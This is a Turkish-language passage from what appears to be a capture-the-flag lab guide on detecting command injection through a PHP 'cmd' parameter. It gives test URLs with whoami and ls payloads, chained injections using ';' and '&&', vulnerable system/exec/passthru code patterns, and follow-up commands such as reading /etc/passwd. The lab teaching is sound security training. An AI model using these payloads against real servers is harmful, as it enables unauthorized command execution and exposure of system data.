- Parametre Manipülasyonu (Injection Testi) Eğer bir cmd parametresi varsa ve bu parametre bir komut çalıştırmak için kullanılıyorsa, bu bir komut enjeksiyonu (Command Injection) olasılığını gösterir. Örnek test: http://abc.thm/assets/index.php?cmd=whoami http://abc.thm/assets/index.php?cmd=ls Eğer bir sonuç dönerse (örneğin, dosyalar listeleniyorsa), komut çalıştırabildiğiniz anlaşılır.
- Kendi Komutlarınızı Ekleyerek Test Etme PHP'de genelde komutları zincirlemek için &&, |, ; veya $(komut) gibi operatörler kullanılır. Bununla test edebilirsiniz:
http://abc.thm/assets/index.php?cmd=ls;whoami http://abc.thm/assets/index.php?cmd=ls&&whoami Eğer sonuç dönüyorsa, komut zincirlemenin mümkün olduğu anlaşılır. 3. Yanıtı Analiz Etme Eğer cmd parametresine rastgele değerler gönderdiğinizde bir hata mesajı dönerse, PHP'nin exec(), shell_exec() veya benzeri bir fonksiyonun çalıştığını fark edebilirsiniz. Örneğin: http://abc.thm/assets/index.php?cmd=abc123 Dönen mesajda, komut bulunamadı (command not found) gibi ifadeler varsa, bu bir göstergedir. 4. Kaynak Kod Analizi Eğer PHP dosyasını (örneğin /assets/.php) veya dizin altında başka bir dosyayı görüntüleme şansınız varsa, içeride şu gibi kodları arayabilirsiniz:
system($_GET['cmd']); exec($_GET['cmd']); passthru($_GET['cmd']); Bu fonksiyonlar, gelen kullanıcı girdilerini işletim sisteminde komut olarak çalıştırmak için kullanılır. 5. Dışarı Çıkmaya Çalışma Eğer ls gibi komutlar dönerse, daha fazla yetki veya bilgi almak için şu komutları deneyebilirsiniz:
pwd (Mevcut dizini öğrenmek için) cat /etc/passwd (Kullanıcı bilgilerini görüntülemek için) uname -a (Sistem bilgilerini almak için)